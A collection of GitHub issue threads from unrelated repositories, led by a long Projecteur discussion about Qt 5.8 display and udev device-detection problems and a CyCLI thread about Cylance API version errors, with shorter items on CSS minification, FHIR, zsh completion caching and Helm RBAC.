text:
Builds with Qt 5.8 do not work & Device detection issue on Hyperbola Linux

Note: This is more a feedback from experience than an issue report.
When I plug a second screen in the VGA port of my X200, Projecteur works perfectly.
Otherwise, I had to struggle a bit to figure out how to make Projecteur work with a second HDMI screen plugged in the DisplayPort provided by the dock station of the X200.  The only scenario that works is the following:

Before launching Projecteur itself, disable the second screen, so that Projecteur sees it as "not connected" when it is launched.
Launch Projecteur.
After that, enable the second screen.  If the spotlight doesn't show, select the appropriate screen in the settings of Projecteur.

The same scenario applies with so-called DisplayLink screens which are plugged in USB ports.
Otherwise, the spotlight shows, but it is limited to a small area stuck at the top left corner of the selected screen. This may be related to https://github.com/jahnf/Projecteur/issues/22#issue-455355175.

Thanks for the description. Definitely something to put into the future Readme/Troubleshooting or Wiki page.
I did not have that issue on my setup with Notebook Screen + Additional 4K Monitor - unfortunately - so it's hard to find the issue.  I am still thinking about how to make sure that most of the countless different setups (Linux Distro, Monitors, Window Managers, Graphic Drivers, Different Qt versions....) are working.

Yes, the different parameters seem way too intricate.  At first, I thought that Projecteur may not work with USB DisplayLink.  But I was wrong.
Does your Notebook have a VGA output as mine or something like DisplayPort or HDMI?  My current impression is that difficulties arise when trying to connect VGA output to something more advanced (as DVI, HDMI and the like).  But again, I may be wrong!

My notebook has a (mini) DisplayPort output. I did test with that and a multi-monitor setup within a VirtualBox.  The tricky part with the overlay window is that different window managers behave differently when setting the overlay windows size and/or set it to full screen + additional window flags to have not title bar etc... (via the Qt API)  - I discovered the way that it works now (hopefully for most setups) basically by trial and error :) - also the order seems very important e.g. something like: resizing the window, hiding the window, placing it on the other screen and resizing it to the screens resolution...

In addition to that, I also discovered that (at least on my side, that is: awesome wm + compton for transparency), Projecteur does not show the spotlight unless the user select the appropriate screen at least one time.  So in case no external monitor is connected, it is not possible to select, say, "screen 1" and switch back to "screen 0" because there is no "screen 1" to select.  But this could be easily solved by editing Projecteur.conf and setting screen= to 1 under [General].  This way, Projecteur shows "screen 1" as "not connected", and one is able to apply the scenario described above.  Now I think I can operate Projecteur in any situation!

....awesome wm + compton for transparency), Projecteur does not show the spotlight unless the user select the appropriate screen at least one time. So in case no external monitor is connected, it is not possible to select, say, "screen 1" and switch back to "screen 0" because there is no "screen 1" to select. But this could be easily solved by editing Projecteur.conf and setting screen= to 1 under [General]....

Does this issue still exist with the latest version from develop? (The screen should now switched automatically depending on where the cursor is)

Does this issue still exist with the latest version from develop? (The screen should now switched automatically depending on where the cursor is)

I just built this version, but I can't get it to work: the screen selection dropdown menu is gone and "device connected" is set to "false". I still can move the mouse pointer, but that's all about it.
Did I miss something?  I'm quite sure I did!

I just built this version, but I can't get it to work: the screen selection dropdown menu is gone and "device connected" is set to "false". I still can move the mouse pointer, but that's all about it.

Correction: after rebooting, "device connected" shows "true".  But no screen selection dropdown, and no spotlight either.  Is it required to have a second screen connected for this version of Projecteur to work?

But no screen selection dropdown, and no spotlight either.  Is it required to have a second screen connected for this version of Projecteur to work?

No, the screen is now automatically set, depending on where the mouse cursor is.
So it seems the issue with your configuration is that as you described it: you have to set the screen at least once (back and forth) ... Could you try your trick with the screen setting in the config?

Please give it a try with

0.6-alpha.60 and your config workaround
and with 0.6-alpha.61 (this version should render the config workaround unnecessary)

I just tested once 0.6-alpha.61 successfully (actually from 567f415 which came through git pull) with these udev rules:
# Rule for USB Receiver
SUBSYSTEMS=="usb", ATTRS{idVendor}=="046d", ATTRS{idProduct}=="c53e", MODE="660", GROUP="spotlight-device", ENV{USB_HUB_TYPE}="046d:c53e"

# Rule when connected via Bluetooth
# Updated rule, thanks to Torsten Maehne (https://github.com/maehne)
SUBSYSTEMS=="input", ATTRS{name}=="SPOTLIGHT*", MODE="660", GROUP="spotlight-device"

Should I rather use the new 55-spotlight.rules in which no user group is specified?

Perfect, so the issue seems to be resolved. Correct?
With the commit you are referring to,
You are building from the feature/libusb-integration branch. Why so? Is that on purpose? That branch is currently just a test and play branch for future use of talking via USB to the device directly.
If you like an up to date version, you should build from develop. From this branch the next release version will be created.
You can try if the newer rules file works you. But if the current installed one works for you it's not impoy.

Perfect, so the issue seems to be resolved. Did I understand that correctly?

Unfortunately, not quite.  I just rebuilt Projecteur from [14d59c5]. (Sorry, I didn't pay attention earlier.)  Here's what happens:

With the new udev rules, the device is simply not detected.  It may be detected occasionally, but that does not changes anything.
With the previous udev rules, it is detected but the spotlight shows one time out of three or so, meaning that I have to quit Projecteur and relaunch it several times for the spotlight to finally appear.

@ralessi  We should sperate this in two things:

Does the "spotlight" effect now work for you? (test Button) In the issue you said you had problems with screens and settings and the spotlight not showing.
The detection of the spotlight device... What Linux Distro + Version are you running? Which Window Managers , Desktop and Versions.

@ralessi  We should sperate this in two things:

Does the "spotlight" effect now work for you? (test Button) In the issue you said you had problems with screens and settings and the spotlight not showing.

Unfortunately not with 0.6-alpha.61 [14d59c5].  I would roughly say that the spotlight appears one time out of three.  Hitting the test button makes a kind of empty rectangle appear very sneakily on the upper left corner of the screen.

The detection of the spotlight device... What Linux Distro + Version are you running? Which Window Managers , Desktop and Versions.

Hyperbola GNU/Linux which is based on Archlinux.  I use awesome-wm + compton for transparency, which worked very well conjointly with Projecteur 0.6-alpha.5 [da9de7b].

well up to 19f46bfa01b167f7860d30913efdb00ea4aba22b
(https://github.com/jahnf/Projecteur/commits/develop)
all versions should behave the same as 0.6-alpha.5 - up to that commit there were no changes for screens and screen settings.
And sorry that I can't help you there, since I have no way to reproduce it :disappointed:
For your problem about detection of the device: thats something with udev and the rules... make sure you dont't have conflicting rules. Do you have a spotlight rules file in different location for example? (e.g. one from a binary package and one that you yourself put somewhere..)

well up to 19f46bfa01b167f7860d30913efdb00ea4aba22b
(https://github.com/jahnf/Projecteur/commits/develop)
all versions should behave the same as 0.6-alpha.5 - up to that commit there were no changes for screens and screen settings.

I didn't find this commit in the log.

And sorry that I can't help you there, since I have no way to reproduce it :disappointed:

Maybe some future version will work?  One never knows.  Meanwhile, I will keep the version that works for me, which has become almost indispensable to me!  I also tested it under mate-wm, but no avail.

For your problem about detection of the device: thats something with udev and the rules... make sure you dont't have conflicting rules. Do you have a spotlight rules file in different location for example? (e.g. one from a binary package and one that you yourself put somewhere..)

No, I compile Projecteur from source every time and always copy the rule file to /etc/udev/rule.d

It seems to be a problem with the Qt version you have... Hyperbola has Qt 5.8.
I just reproduced the problem with Qt 5.8.
Qt 5.8 is a strange version to have in a distribution. Qt 5.9 is an LTS version.
Maybe its only Qt 5.8  - I have to try with 5.7 - I know 5.9 works and 5.11 and 5.12

It seems to be a problem with the Qt version you have... Hyperbola has Qt 5.8.
I just reproduced the problem with Qt 5.8.
Qt 5.8 is a strange version to have in a distribution. Qt 5.9 is an LTS version.
Maybe its only Qt 5.8  - I have to try with 5.7 - I know 5.9 works and 5.11 and 5.12

That is quite some progress, thank you for looking into this!  Maybe I could ask the maintainers of Hyperbola to update 5.8 to 5.9 as they are prone to follow LTS versions.

So it's definitly Qt5.8 -  5.7 works... 5.9 works...
Yes the Qt5.8 is especially strange for a distribution, calling itself long-term distribution :smile:
But you can always download precompiled binaries from Qt and build projecteur against that:
https://download.qt.io/archive/qt/
For example https://download.qt.io/archive/qt/5.12/5.12.5/qt-opensource-linux-x64-5.12.5.run (5.12 is also an LTS release)

No, I compile Projecteur from source every time and always copy the rule file to /etc/udev/rule.d
Well the "old" rules file works for you, you should use that file. The "new" rules files with uaccess works on all my machines. And seems to work for other users also.
Maybe Hyperbola Linux has also a strange udev version ?? :wink:

So it's definitly Qt5.8 -  5.7 works... 5.9 works...

Now the culprit is known.

Yes the Qt5.8 is especially strange for a distribution, calling itself long-term distribution :smile:

Hyperbola is joung, maintained by a very small numbers of volunteers, that's why strange things are found now and then around the corner!

But you can always download precompiled binaries from Qt and build projecteur against that:
https://download.qt.io/archive/qt/
For example https://download.qt.io/archive/qt/5.12/5.12.5/qt-opensource-linux-x64-5.12.5.run (5.12 is also an LTS release)

Good advice, I will do that!

No, I compile Projecteur from source every time and always copy the rule file to /etc/udev/rule.d
Well the "old" rules file works for you, you should use that file. The "new" rules files with uaccess works on all my machines. And seems to work for other users also.
Maybe Hyperbola Linux has also a strange udev version ?? :wink:

One never knows!  Thanks again for your help!

I have no idea as to whether this helps or not, but compiling the latest projecteur with Qt 5.8/Hyperbola return this message in the end:
/usr/lib/libQt5Network.so.5.8.0: warning : EVP_CipherFinal is often misused, please use EVP_CipherFinal_ex and EVP_CIPHER_CTX_cleanup

Thank for the info,  but that message seems to be coming directly from Qt itself and some dependencies it uses (EVP_CipherFinal is something from openssl). QNetwork module is not related to screen issue.
I decided to put a warning about Qt 5.8 in the README.md and build instructions. I see no point in investigating further towards Qt 5.8, since all other Qt versions don't have this problem (5.7 up the current version work). And as I mentioned earlier, Qt 5.8 is a strange version to see in the field, since 5.9 is an LTS release and there is already another LTS release out there with 5.12.

I decided to put a warning about Qt 5.8 in the README.md and build instructions. I see no point in investigating further towards Qt 5.8, since all other Qt versions don't have this problem (5.7 up the current version work). And as I mentioned earlier, Qt 5.8 is a strange version to see in the field, since 5.9 is an LTS release and there is already another LTS release out there with 5.12.

Thank you.  I mistakenly thought that this issue was still being looked into, but I understand that there is no point in investigating it further.
I will ask the maintainers of Hyperbola if they can update Qt 5.8 to 5.9 or 5.12.  Meanwhile I will build Projecteur myself with an updated version of Qt.
Many thanks again!

I mistakenly thought that this issue was still being looked into

I adjusted the title, so others know with one look what the actual outcome of this long issue is :)
I will close this issue as soon as I updated the README for the upcoming version 0.6.

Many thanks again!

You're very welcome.

I just tried to build Projecteur with Qt 5.12.5 which I installed following your advice.  But when I try to launch Projecteur from the command line, I get this error message.  What did I miss?
qt.qpa.plugin: Could not load the Qt platform plugin "xcb" in "" even though it was found.
This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.

Available platform plugins are: eglfs, linuxfb, minimal, minimalegl, offscreen, vnc, wayland-egl, wayland, wayland-xcomposite-egl, wayland-xcomposite-glx, webgl, xcb.

Quit

Can you try to start GUI tools that come with that Qt 5.12.5 (e.g. Qt/Tools/QtCreator/bin/qtcreator or Qt/5.12.5/gcc_64/bin/qdbusviewer) (from the command line); Do they show the same error?
If yes then I guess the pre-built-binaries from Qt are having some issues with the libraries on your system. (You could try Qt 5.7 or Qt 5.9 then)  (https://forum.qt.io/topic/93247/qt-qpa-plugin-could-not-load-the-qt-platform-plugin-xcb-in-even-though-it-was-found)

Can you try to start GUI tools that come with that Qt 5.12.5 (e.g. Qt/Tools/QtCreator/bin/qtcreator or Qt/5.12.5/gcc_64/bin/qdbusviewer) (from the command line); Do they show the same error?

Yes, both showed the same error...

If yes then I guess the pre-built-binaries from Qt are having some issues with the libraries on your system. (You could try Qt 5.7 or Qt 5.9 then) (https://forum.qt.io/topic/93247/qt-qpa-plugin-could-not-load-the-qt-platform-plugin-xcb-in-even-though-it-was-found)

Well, I tried 5.7 and 5.9 but no avail.  I guess that's about it!  I will ask the maintainers of Hyperbola if they can update Qt5 and wait for their answer for I think I can't do anything by myself at this point.

Edit: Out of interest: any specific reason to use Hyperbola Linux? If you prefer Arch Linux there is Manjaro-Linux and many others.

Actually there are two: Free software and stability.  Additionally, at least in my opinion, the developers made very good decisions, such as the adoption of openrc, libressl, etc.  Anyway, I will find a way to follow Projecteur!

Well, I tried 5.7 and 5.9 but no avail. I guess that's about it! I will ask the maintainers of Hyperbola if they can update Qt5 and wait for their answer for I think I can't do anything by myself at this point.

no avail = didn't work either?
You can still build Qt yourself :smile: - but that can be quiet an adventure in itself.
Anyway please let me know when you had any success or progress.
Is it okay for you if I close this issue?

no avail = didn't work either?

Exactly, I get the same error over and over... As to building Qt, I will not venture into this!
Yes, helas for me, this issue can be closed :-( I will keep you posted, meanwhile, thanks a lot again!

Let us see what happens:
https://issues.hyperbola.info/index.php?do=details&task_id=1480

Now I am totally confused!
I just compiled the latest Projecteur (0.6-alpha.75 [7586960]) and it worked out of the box, that is not one time out of three, but every time.
One (unrelated I think) issue that remains is about the zoom: when dual-screen is enabled and the screens are set to display different areas, the magnifier superimposes the two different screens and makes them as one.  Of course, this does not happen if the two screens are set to display one single identical area.
Well, the breaking news is that the latest Projecteur seems to work on Hyperbola + Qt 5.8!  I will do some further testing tomorrow and try to confirm this.

Again, with 0.6-alpha.78 [b6bbc32], I confirm that the issue reported here about Qt 5.8 is completely gone.  Projecteur definitely works.
Don't you think it might be useful to do a bisect to try to identify a possible offending commit between the first version known not to work (bad) and  [7586960] (good)?
I enjoy very much working with this version Projecteur!

Glad to hear it works and the project is used.
Most likely what made it work also with Qt 5.8 is this change: ece578167183de4b22168a83b411fba9c2d67544

Good to know it has been spotted!  A missing command to make a window top level?
By the way, do you experience the same that I do with the magnifier when the two screens are set to display different areas?

By the way, do you experience the same that I do with the magnifier when the two screens are set to display different areas?

No on my multi-monitor setups and when I attach an additional monitor/tv/whatever to my notebook it works fine.  What do you mean by "two screens to display different areas"? Just a regular two monitor setup?

By the way, do you experience the same that I do with the magnifier when the two screens are set to display different areas?

No on my multi-monitor setups and when I attach an additional monitor/tv/whatever to my notebook it works fine.  What do you mean by "two screens to display different areas"? Just a regular two monitor setup?

Yes, a regular two-monitor setup in which, for example, you have your personal notes on your laptop and the slides for an audience on monitor 2.  What I am experiencing under such a configuration is that the magnifier, say on monitor 2, displays magnified two images superimposed: that of monitor 2 and that of monitor 1, with increased darkness over the two and a pixelized text.
If the magnifier is disabled, then everything is fine.
This does not happen if I configure my two-monitor setup so as to display the same image on both monitors: then the magnifier works perfectly.

What I am experiencing under such a configuration is that the magnifier, say on monitor 2, displays magnified two images superimposed: that of monitor 2 and that of monitor 1

I can't reproduce that, sounds very stange , any chance that you could make a screenshot of that?

Might it be another Qt 5.8 only related issue?  ;-)
Here is a screenshot.

@ralessi Please give branch feature/wayland-zoom-support a try, there is also changes in there that might fix your zoom issue.

@ralessi Please give branch feature/wayland-zoom-support a try, there is also changes in there that might fix your zoom issue.

Yes, I confirm that this issue is gone.  Now I can enjoy all of the features of Projecteur.
I intend to submit a package for Hyperbola when 0.7 is ready, thank you very much for the help and your excellent work!

authors: jahnf ralessi

repo: jahnf/Projecteur


text:
Sound Off Button

A click option to turn off the sound (client)

Bug: On ai prompt submit the mute button becomes unmuted. The state should be saved such that it stays muted.

source: gharchive/issue

repo: jake-magri/Hipub

license: MIT

license_type: permissive

license_source: github-api


text:
Feature/spring security configuration

Added Spring Security configuration.

jest git

Many kudos

source: gharchive/pull-request

authors: barokimPL jakubmuczyn shushuXY

repo: jakubmuczyn/Car-Rental-Demo


text:
after clean and minify css file can't be work!

I use lessc generate a css file,when i use clean-css to minify it,the output content all be annotation...
what's it?

before minify

after minify

what's wrong?

This is probably a formatting issue within a text editor (is it Atom or Sublime?) - it should still work correctly from within a browser. Alternatively please use one of formatting options, see https://github.com/jakubpawlowicz/clean-css#formatting-options - format: { wrapAt: 80 } or format: 'keep-breaks' may come handy.

@lichnow Maybe its 4.x version issue?
After I updated gulp-clean-css to v3.0.4 and its dependency clean-css to v4.0.12 respectively, part of my styles broke...

@lichnow I'll close this issue tomorrow unless there is a way to reproduce it.

Closing it now. Let me know if it needs to be reopened.

authors: ViieeS jakubpawlowicz lichnow

repo: jakubpawlowicz/clean-css

license: mit

license_source: bigquery


text:
Changed formula names in brew

I stumbled across this software when looking through random twitter posts. Since homebrew recently merged all the php formulas in to the core distribution you might want to consider changing the formula names to the new ones.

Updated in v1.1.0

authors: jalendport javian

repo: jalendport/switch-php


text:
🛑 Repo1 is down

In dca821e, Repo1 (https://repo1.dso.mil) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Repo1 is back up in 5c19268 after 4 minutes.

repo: james-martinez/dso-mil


text:
Unable to update CodeSystem resource after updating to 3.6

We just updated to version 3.6.0 and after the update we are getting error messages when we try to update some of our CodeSystems. Here is a simple example.
We have following ValueSet http://hapi.fhir.org/baseDstu3/ValueSet/928619?_pretty=true which contains codes 1 and 2
We have following CodeSystem http://hapi.fhir.org/baseDstu3/CodeSystem/928650?_pretty=true which contains the same codes as ValueSet does.
We are getting error "HTTP 422 Undefined" when we try to create the CodeSystem resource
HTTP 422 Undefined
{
"resourceType": "OperationOutcome",
"issue": [
{
"severity": "error",
"code": "processing",
"diagnostics": "CodeSystem http://phr.kanta.fi/CodeSystem/testcodesystem has a 'all system' value set of http://phr.kanta.fi/CodeSystem/testvalueset, but the include has extra details",
"location": [
"CodeSystem"
]     }   ] }
Operation is successfull if we remove ValueSet field from the resource.

I know that ValueSets have not been working since HAPI 3.3.0. I have no idea what the priority is to get them working in future versions.

repo: jamesagnew/hapi-fhir


text:
Mock with regular expression

I've tried to use client.mockAnyResponse with the following objects but don't get the expected result.

Use regex for matching path

{
    httpRequest: {
        method: 'POST',
        type: 'REGEX',
        path: '/somePath/[0-9]+'
    },
    httpResponse: {
    	// details omitted
    }
}

Use regex for matching query parameters

{
    httpRequest: {
        method: 'GET',
        path: '/somePath',
        queryStringParameters: [
            {
                type: 'REGEX',
                name: 'key1',
                values: ['.*']				       // match anything
            },
            {
                name: 'key2',
                values: ['specific value']			// string exact match
            },
            {
                name: 'key3',
                value: 0						// match an exact number
            }
        ]
    },
    httpResponse: {
        // details omitted
    }
}

What's the correct way to do it @jamesdbloom ?

My bad. I posted too early. Everything is fine.

repo: jamesdbloom/mockserver-client-node


text:
Add inputs validation

Currently duplicate usernames are allowed to be stored in DB when the OnSignup() method in api.go is called.
Kindly assist to validate that a username is in use, and throw an error if so.
Update the response in swagger.yml too as you go along.

Can I work on it?

May I take this one?

Sure!

Thanks!

repo: jamesmawm/golang-user-microservice


text:
[Android] Support for pending purchases must be enabled

When call ConnectAsync(false) to disable pending purchases this cause an exception "Support for pending purchases must be enabled".
Bug Information
Version Number of Plugin: 4.0.1-beta
Device Tested On: Redmi 4X (Android 7.1.2)
Simulator Tested On: N/A
Version of VS: 2019 16.7.6
Version of Xamarin: 16.7.000.456
Steps to reproduce the Behavior
Just execute the ConnectAsync method with "enablePendingPurchased" parameters set to false.
Expected Behavior
Connection to billing service works with pending purchased not enabled.
Actual Behavior
Exception "Support for pending purchases must be enabled"
Code snippet
try
{
	var billing = CrossInAppBilling.Current;
	var connected = await billing.ConnectAsync(false);
}
catch (Exception exception)
{
}
finally
{
	await billing.DisconnectAsync();
}

Screenshotst

Hello,
Do this: var connected = await billing.ConnectAsync(true);
Make sure you handle PendingPurchases...

Hello,
Do this: var connected = await billing.ConnectAsync(true);
Make sure you handle PendingPurchases...

Hi, with "true" enablePendingPurchased parameter I know that that it works, but I want to use with "false" to disable pending purchases.

+1 wanting the ability to turn off pending purchases

+1 wanting the ability to turn off pending purchases

You would have to use version 2.0 of the library, which uses AIDL. Pending Purchases are required when using the new library -> https://developer.android.com/google/play/billing/migrate#pending
You might as well do it now seeing that Starting on August 2, 2021, all new apps must use Billing Library version 3 or newer. By November 1, 2021, all updates to existing apps must use Billing Library version 3 or newer
It isn't hard to do.

You would have to use version 2.0 of the library, which uses AIDL. Pending Purchases are required when using the new library -> https://developer.android.com/google/play/billing/migrate#pending
You might as well do it now seeing that Starting on August 2, 2021, all new apps must use Billing Library version 3 or newer. By November 1, 2021, all updates to existing apps must use Billing Library version 3 or newer
It isn't hard to do.

authors: blmiles jamesmontemagno rrispoli zigcarruse

repo: jamesmontemagno/InAppBillingPlugin


text:
Update description of the module

The description does not say what the module actually do. The text:
It puts the buttons on the cards or it gets the hose again.

does not make much sense and seems more like a placeholder, can you please add a screenshot and update the description with something that makes more sense?

Heh that's a fair request, I've updated the description accordingly! Thanks for the input

authors: Ghilteras jamespdaily

repo: jamespdaily/attack-card-damage


text:
Adding traefik.io API group to RBAC template

In Traefik 2.10 they want to deprecate traefik.containo.us in favor of the traefik.io API group. If anyone tries to run version 1.2.0 of the chart this will throw a:
ingressroutes.traefik.io is forbidden: User "system:serviceaccount:default:homepage" cannot list resource "ingressroutes" in API group "traefik.io" at the cluster scope'

This PR only adds the additional API group to the ClusterRole

I was just about to put in a PR for this, glad I saw this beforehand!

authors: LarryGF MrLemur

repo: jameswynn/helm-charts


text:
App crashes in DELETE mode

hi - tried running both 3.3.2 and 3.3.0 in delete mode, to clear our staging environment before transferring from production. Every time I run the app it crashes immediately. Output of the last crash report is attached.
migrator-crash.txt

Tried also on a fresh 10.14.3 VM, same result - instant crash

Thanks @ckemp19 - note you're not alone.  I've not been able to replicate the behavior myself but I'll keep digging.

Thanks, at least it's good to know it's not just me! :) Standing by

Let me know if you need any more crash logs. I can duplicate the crash with 3.2.2, 3.3.0, and 3.3.1

Issue should be resolved in v3.3.2.  Thanks @ckemp19 for helping pinpoint the issue and @sdagley for offering up additional logs.

authors: BIG-RAT ckemp19 sdagley

repo: jamf/JamfMigrator


text:
Spaces in front of login names cause duplicate home folders

Using Nomad login if the user puts a space or spaces in front of their username on teh login screen it creates another entire home folder for that user with the same number of spaces in front of the user name.  Example:  “testuser” and ”      testuser” both login to the same computer and create home folders with the same owner but different folders with the spaces.  I have to delete the bad users from Users & Groups in system prefs to restore functionality to the home folder with no spaces.  This is on Monterey 12.3 on an M1 iMac.  Our AD is Univention Corporate Server 5.0-1 errata262 (linux/samba based AD)

I have found out more details that this is directly related to my alternative AD not stripping spaces, but NoMad login should also strip spaces for home folder naming.

repo: jamf/NoMADLogin-AD


text:
API v2 Error

The Get-CyDevices commandlet works just fine however if I'm trying to make changes to the console ie. zone/policy assignments I'm getting this error thrown at me. Seen this before?
Invoke-RestMethod : {"error":{"code":"UnsupportedApiVersion","message":"The HTTP resource that matches the request URI 'http://protectapi.us.cylance.com/v2/' does not
support the API version '2'."}}
At C:\Program Files\WindowsPowerShell\Modules\CyCLI\0.6.6\CyAPI.ps1:490 char:9

    Invoke-RestMethod @rest

    ~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebException
FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand

No, I have never seen this.
Please repro (using the applicable parameter for "console" in your environment of course):
get-cyapi <yourconsoleentry> -Verbose
$zone=New-CyZone -Name Test -Verbose
get-cydevicelist | Add-CyDeviceToZone -Zone $zone -Verbose```

And report the results back. This would add all devices in your environment to the "test" zone. If you have many devices in your console, you may want to add a "where" filter between get-cydevicelist and the Add-CyDeviceToZone like "where name -like 'COMPUTERNAME'" etc.

PS C:\windows\system32> Get-CyAPI **** -Verbose
VERBOSE: consoles.json path used: C:\Users*\consoles.json
VERBOSE: consoles.json path used: C:\Users*\consoles.json
VERBOSE: Requesting auth for JWT token:

VERBOSE: Entry into Invoke-CyRestMethod: DoNotRenewToken=True
VERBOSE: Invoking CyREST method using params:
Name                           Value

UserAgent                      PowerShell/CyCLI
ContentType                    application/json; charset=utf-8
Method                         POST
Uri                            https://protectapi.us.cylance.com/auth/v2/token
Headers                        {Accept}
OutFile
Body                           {...
VERBOSE: POST https://protectapi.us.cylance.com/auth/v2/token with -1-byte payload
VERBOSE: received 822-byte response of content type application/json; charset=utf-8
PS C:\windows\system32> New-CyZone -Name **** -Verbose
VERBOSE: Entry into Invoke-CyRestMethod: DoNotRenewToken=False
VERBOSE: Renewing token:
AccessToken    :

BaseUrl        : https://protectapi.us.cylance.com
APISecret      : System.Security.SecureString
APIId          : ***
APITenantId    : ***
ExpirationTime : 9/14/2018 3:45:42 PM
Scope          : Session
VERBOSE: consoles.json path used: C:\Users****\consoles.json
VERBOSE: Requesting auth for JWT token:

VERBOSE: Entry into Invoke-CyRestMethod: DoNotRenewToken=True
VERBOSE: Invoking CyREST method using params:
Name                           Value

UserAgent                      PowerShell/CyCLI
ContentType                    application/json; charset=utf-8
Method                         POST
Uri                            https://protectapi.us.cylance.com/auth/v2/token
Headers                        {Accept}
OutFile
Body                           {...
VERBOSE: POST https://protectapi.us.cylance.com/auth/v2/token with -1-byte payload
VERBOSE: received 822-byte response of content type application/json; charset=utf-8
VERBOSE: New token:
AccessToken    :

BaseUrl        : https://protectapi.us.cylance.com
APISecret      : System.Security.SecureString
APIId          : ***
APITenantId    : ***
ExpirationTime ***
Scope          : None
VERBOSE: Checkpoint 3
VERBOSE: Invoking CyREST method using params:
Name                           Value

UserAgent                      PowerShell/CyCLI
ContentType                    application/json; charset=utf-8
Method                         POST
Uri                            https://protectapi.us.cylance.com/zones/v2
Headers                        {Accept, Authorization}
OutFile
Body                           {...
VERBOSE: POST https://protectapi.us.cylance.com/zones/v2 with -1-byte payload
VERBOSE: received 187-byte response of content type application/json; charset=utf-8
id           : ***
name         : ***
criticality  : Normal
policy_id    : ***
date_created : ***
PS C:\windows\system32> Add-CyDeviceToZone -Zone *** -device *** -Verbose
VERBOSE: Update device JSON: {
"name":  null,
"policy_id":  null,
"add_zone_ids":  [
null
]
}
VERBOSE: Entry into Invoke-CyRestMethod: DoNotRenewToken=False
VERBOSE: Checkpoint 3
VERBOSE: Invoking CyREST method using params:
Name                           Value

UserAgent                      PowerShell/CyCLI
ContentType                    application/json; charset=utf-8
Method                         PUT
Uri                            https://protectapi.us.cylance.com/devices/v2/
Headers                        {Accept, Authorization}
OutFile
Body                           {...
VERBOSE: PUT https://protectapi.us.cylance.com/devices/v2/ with -1-byte payload
Invoke-RestMethod : {"error":{"code":"UnsupportedApiVersion","message":"The HTTP resource that matches the request URI
'http://protectapi.us.cylance.com/v2/' does not support the API version '2'."}}
At C:\Program Files\WindowsPowerShell\Modules\Cycli\0.6.6\CyAPI.ps1:490 char:9

    Invoke-RestMethod @rest

    ~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebExc
eption
FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand

The Get-CyDevices commandlet works just fine however if I'm trying to make changes to the console ie. zone/policy assignments I'm getting this error thrown at me. Seen this before?
Invoke-RestMethod : {"error":{"code":"UnsupportedApiVersion","message":"The HTTP resource that matches the request URI 'http://protectapi.us.cylance.com/v2/' does not
support the API version '2'."}}
At C:\Program Files\WindowsPowerShell\Modules\CyCLI\0.6.6\CyAPI.ps1:490 char:9

    Invoke-RestMethod @rest

    ~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebException
FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand

Did you use the device object?
You always need to use objects.
Example:
$CylanceZoneUsers = Get-CyZone -Name "User Zone"
$devices = Get-CyDeviceList |?{$_.name -like "MACHINES*"}
$devices | Add-CyDeviceToZone -Zone $CylanceZoneUsers -Verbose
You cannot:
Add-CyDeviceToZone -Device "MACHINE" -Zone "User Zone"

sognern is spot on, and I had tried to express that above. Unfortunately there's not much I can do with the pasted output because it has been redacted and doesn't seem to be the output from the exact commands that I had sent. The bits I do see is that the commands run were slightly different from the ones I had asked for - Add-CyDeviceToZone -Zone *** -device *** -Verbose is a different use and without knowing the *** it's impossible to know if the command is valid. If the *** are names, it is definitely incorrect use of the parameters and will and should fail.

Hi,
I am getting this error when trying to add-cydevicetozone -device "devicename" -zone "zone_name"
Invoke-RestMethod : {"error":{"code":"UnsupportedApiVersion","message":"The HTTP resource that matches the request URI 'http://protectapi.cylance.com/v2/' does not support the API version '2'
Any help would be great

authors: LechPoznan86 jan-tee jrremillard sognern

repo: jan-tee/cycli


text:
explanation of files

Just a minor request for documentation.
I get that there is a compiled version of my zshrc - but why does it create 3 files?
.zcompdump
.zcompdump-Torsten’s MacBook Pro-5.8
.zcompdump.zwc

Or did I just skip this part while reading?
Would be great to have that documented somewhere.

If you don't set $ZGEN_CUSTOM_COMPDUMP the naming of the compdump file is taken care by zsh itself.
Which is the .zcompdump-Torsten’s MacBook Pro-5.8.
I don't know where .zcompdump comes from.
The .zcompdump.zwc is created by zgenom since it searches for $HOME/.zcompdump* and compiles them.
The .zcompdump-Torsten’s MacBook Pro-5.8.zwc is probably not created since it contains ’. See #100.
You could remove all three files, run zgenom reset and then check which files get created when you open a new shell.
Since the default name of Macs contains an invalid character (for zcompile) it might make sense that zgenom uses a different name instead to allow compiling.*
* compiling the compdump is probably the biggest boost in startup speed.

Interesting. With setting export ZGEN_CUSTOM_COMPDUMP=.zcompdump-foo I now only have .zshrc.zwc
Thanks for the help.

Yes, but the .zcompdump-foo and the according .zwc should be in / since you haven't used a full filepath.
ZGEN_CUSTOM_COMPDUMP=$HOME/.zcompdump-foo is probably better.

I don't have write access to /. So it didn't create anything there - but didn't complain either.

Hm. This doesn't create a COMPDUMP either:
export ZGEN_CUSTOM_COMPDUMP="${HOME}/.zcompdump-foo"

I'll keep an eye on that.

Not sure if it creates a dump without zgenom reset.

The zcompdump should be created no matter what.
The according zwc is only created after a zgenom reset.

authors: jandamm tcurdt

repo: jandamm/zgenom


text:
Newest funlib.persistence>=0.5 has breaking changes

open_ds and prepare_ds are fundamentally different in 0.5 vs previous versions. We would either have to restrict which versions we are compatible with or update it to work with the newest version.

Let's update to be compatible and then make another DaCapo release.

authors: davidackerman rhoadesScholar

repo: janelia-cellmap/dacapo


text:
Offer a button to (un)mute and enable/disable the video in the toolbar

If you want to unmute yourself, for instance, to say "goodbye" at the end of a call, it is hard to click on the "unmute" button because it is moving as the people are leaving the room. I would be good to have a button to (un)mute and enable/disable the video at the top bar.

Being worked at https://github.com/jangouts/jangouts/pull/400

Closed by #400.

authors: ancorgs imobachgs

repo: jangouts/jangouts


text:
feat: Enable CORS

Problem
Cannot access from Chrome directly
Success Criteria
enable option ALLOW_ALL_CORS which already defined when start nitro or env variable

